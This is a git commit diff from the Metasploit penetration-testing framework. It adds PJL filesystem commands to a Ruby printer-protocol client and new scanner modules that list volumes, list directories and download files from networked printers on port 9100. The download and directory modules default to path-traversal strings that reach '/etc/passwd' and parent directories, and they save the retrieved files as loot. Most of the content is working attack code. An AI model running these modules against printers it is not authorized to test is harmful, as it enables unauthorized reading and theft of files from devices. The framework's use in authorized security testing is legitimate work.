Add filesystem commands and new PoC modules
This commit also refactors some of the code.bug/bundler_fix
parent
af66310e3a
commit
d3bbe5b5d0
|
@ -10,7 +10,12 @@ module Rex::Proto::PJL
|
|||
|
||||
INFO_ID = "#{PREFIX} INFO ID"
|
||||
INFO_STATUS = "#{PREFIX} INFO STATUS"
|
||||
INFO_FILESYS = "#{PREFIX} INFO FILESYS"
|
||||
|
||||
RDYMSG_DISPLAY = "#{PREFIX} RDYMSG DISPLAY"
|
||||
|
||||
FSINIT_VOLUME = "#{PREFIX} FSINIT VOLUME"
|
||||
FSDIRLIST_NAME = "#{PREFIX} FSDIRLIST NAME"
|
||||
FSUPLOAD_NAME = "#{PREFIX} FSUPLOAD NAME"
|
||||
|
||||
end
|
||||
|
|
|
@ -24,42 +24,57 @@ class Client
|
|||
@sock.put(command)
|
||||
end
|
||||
|
||||
# Send INFO request and receive response
|
||||
# Send INFO request and read response
|
||||
#
|
||||
# @param category [String] INFO category
|
||||
# @return [String] INFO response
|
||||
def get_info(category)
|
||||
case category
|
||||
when :id
|
||||
command = "#{INFO_ID}\n"
|
||||
when :status
|
||||
command = "#{INFO_STATUS}\n"
|
||||
def info(category)
|
||||
categories = {
|
||||
:id => INFO_ID,
|
||||
:status => INFO_STATUS,
|
||||
:filesys => INFO_FILESYS
|
||||
}
|
||||
unless categories.has_key?(category)
|
||||
raise ArgumentError, "Unknown INFO category"
|
||||
end
|
||||
command = "#{categories[category]}\n"
|
||||
begin_job
|
||||
@sock.put(command)
|
||||
end_job
|
||||
@sock.get_once
|
||||
@sock.get
|
||||
end
|
||||
|
||||
# Get version information
|
||||
#
|
||||
# @return [String] Version information
|
||||
def get_info_id
|
||||
def info_id
|
||||
id = nil
|
||||
response = get_info(:id)
|
||||
if response =~ /"(.*)"/
|
||||
response = info(:id)
|
||||
if response =~ /"(.*?)"/m
|
||||
id = $1
|
||||
end
|
||||
return id
|
||||
end
|
||||
|
||||
# List volumes
|
||||
#
|
||||
# @return [String] Volume listing
|
||||
def info_filesys
|
||||
filesys = nil
|
||||
response = info(:filesys)
|
||||
if response =~ /\[\d+ TABLE\]\r?\n(.*?)\f/m
|
||||
filesys = $1
|
||||
end
|
||||
return filesys
|
||||
end
|
||||
|
||||
# Get ready message
|
||||
#
|
||||
# @return [String] Ready message
|
||||
def get_rdymsg
|
||||
rdymsg = nil
|
||||
response = get_info(:status)
|
||||
if response =~ /DISPLAY="(.*)"/
|
||||
response = info(:status)
|
||||
if response =~ /DISPLAY="(.*?)"/m
|
||||
rdymsg = $1
|
||||
end
|
||||
return rdymsg
|
||||
|
@ -76,5 +91,61 @@ class Client
|
|||
end_job
|
||||
end
|
||||
|
||||
# Initialize volume
|
||||
#
|
||||
# @param volume [String] Volume
|
||||
# @return [void]
|
||||
def fsinit(volume)
|
||||
if volume !~ /^[0-2]:$/
|
||||
raise ArgumentError, "Volume must be 0:, 1:, or 2:"
|
||||
end
|
||||
command = %Q{#{FSINIT_VOLUME} = "#{volume}"\n}
|
||||
begin_job
|
||||
@sock.put(command)
|
||||
end_job
|
||||
end
|
||||
|
||||
# List directory
|
||||
#
|
||||
# @param pathname [String] Pathname
|
||||
# @param count [Fixnum] Number of entries to list
|
||||
# @return [String] Directory listing
|
||||
def fsdirlist(pathname, count = 2147483647)
|
||||
if pathname !~ /^[0-2]:/
|
||||
raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:"
|
||||
end
|
||||
listing = nil
|
||||
command = %Q{#{FSDIRLIST_NAME} = "#{pathname}" ENTRY=1 COUNT=#{count}\n}
|
||||
begin_job
|
||||
@sock.put(command)
|
||||
end_job
|
||||
response = @sock.get
|
||||
if response =~ /ENTRY=1\r?\n(.*?)\f/m
|
||||
listing = $1
|
||||
end
|
||||
return listing
|
||||
end
|
||||
|
||||
# Download file
|
||||
#
|
||||
# @param pathname [String] Pathname
|
||||
# @param size [Fixnum] Size of file
|
||||
# @return [String] File as a string
|
||||
def fsupload(pathname, size = 2147483647)
|
||||
if pathname !~ /^[0-2]:/
|
||||
raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:"
|
||||
end
|
||||
file = nil
|
||||
command = %Q{#{FSUPLOAD_NAME} = "#{pathname}" OFFSET=0 SIZE=#{size}\n}
|
||||
begin_job
|
||||
@sock.put(command)
|
||||
end_job
|
||||
response = @sock.get
|
||||
if response =~ /SIZE=\d+\r?\n(.*?)\f/m
|
||||
file = $1
|
||||
end
|
||||
return file
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,59 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require "msf/core"
|
||||
require "rex/proto/pjl"
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Printer File Download Scanner",
|
||||
'Description' => %q{
|
||||
This module downloads a file from a printer using PJL.
|
||||
},
|
||||
'Author' => [
|
||||
"wvu", # This implementation
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
],
|
||||
'References' => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(9100),
|
||||
OptString.new("PATHNAME", [true, "Pathname", '0:\..\..\..\etc\passwd'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
connect
|
||||
pjl = Rex::Proto::PJL::Client.new(sock)
|
||||
pathname = datastore["PATHNAME"]
|
||||
pjl.fsinit(pathname[0..1])
|
||||
file = pjl.fsupload(pathname)
|
||||
disconnect
|
||||
|
||||
if file
|
||||
print_good("#{ip} #{pathname}")
|
||||
store_loot(
|
||||
"printer.file",
|
||||
"application/octet-stream",
|
||||
ip,
|
||||
file,
|
||||
pathname,
|
||||
"Printer file"
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,58 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require "msf/core"
|
||||
require "rex/proto/pjl"
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Printer Directory Listing Scanner",
|
||||
'Description' => %q{
|
||||
This module lists a directory on a printer using PJL.
|
||||
},
|
||||
'Author' => [
|
||||
"wvu", # This implementation
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
],
|
||||
'References' => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(9100),
|
||||
OptString.new("PATHNAME", [true, "Pathname", '0:\..\..\..'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
connect
|
||||
pjl = Rex::Proto::PJL::Client.new(sock)
|
||||
pathname = datastore["PATHNAME"]
|
||||
pjl.fsinit(pathname[0..1])
|
||||
listing = pjl.fsdirlist(pathname)
|
||||
disconnect
|
||||
|
||||
if listing
|
||||
print_good("#{ip}\n#{listing}")
|
||||
report_note({
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => "tcp",
|
||||
:type => "printer.dir.listing",
|
||||
:data => listing
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,56 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require "msf/core"
|
||||
require "rex/proto/pjl"
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Printer Volume Listing Scanner",
|
||||
'Description' => %q{
|
||||
This module lists the volumes on a printer using PJL.
|
||||
},
|
||||
'Author' => [
|
||||
"wvu", # This implementation
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
],
|
||||
'References' => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(9100),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
connect
|
||||
pjl = Rex::Proto::PJL::Client.new(sock)
|
||||
3.times { |volume| pjl.fsinit("#{volume}:") }
|
||||
listing = pjl.info_filesys
|
||||
disconnect
|
||||
|
||||
if listing
|
||||
print_good("#{ip}\n#{listing}")
|
||||
report_note({
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => "tcp",
|
||||
:type => "printer.vol.listing",
|
||||
:data => listing
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -19,9 +19,9 @@ class Metasploit4 < Msf::Auxiliary
|
|||
This module scans for and can change printer ready messages using PJL.
|
||||
},
|
||||
'Author' => [
|
||||
"wvu", # Author
|
||||
"MC", # Comrade
|
||||
"YGN" # Comrade
|
||||
"wvu", # This implementation
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
],
|
||||
'References' => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
|
@ -49,12 +49,11 @@ class Metasploit4 < Msf::Auxiliary
|
|||
|
||||
if rdymsg
|
||||
print_good("#{ip} #{rdymsg}")
|
||||
|
||||
report_note({
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => "tcp",
|
||||
:type => "printer_ready_message",
|
||||
:type => "printer.rdymsg",
|
||||
:data => rdymsg
|
||||
})
|
||||
end
|
||||
|
|
|
@ -19,9 +19,9 @@ class Metasploit4 < Msf::Auxiliary
|
|||
This module scans for printer version information using PJL.
|
||||
},
|
||||
'Author' => [
|
||||
"wvu", # Author
|
||||
"MC", # Comrade
|
||||
"YGN" # Comrade
|
||||
"wvu", # This implementation
|
||||
"MC", # Independent implementation
|
||||
"YGN" # Independent implementation
|
||||
],
|
||||
'References' => [
|
||||
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
||||
|
@ -37,12 +37,11 @@ class Metasploit4 < Msf::Auxiliary
|
|||
def run_host(ip)
|
||||
connect
|
||||
pjl = Rex::Proto::PJL::Client.new(sock)
|
||||
id = pjl.get_info_id
|
||||
id = pjl.info_id
|
||||
disconnect
|
||||
|
||||
if id
|
||||
print_good("#{ip} #{id}")
|
||||
|
||||
report_service({
|
||||
:host => ip,
|
||||
:port => rport,
|
Loading…
Reference in New Issue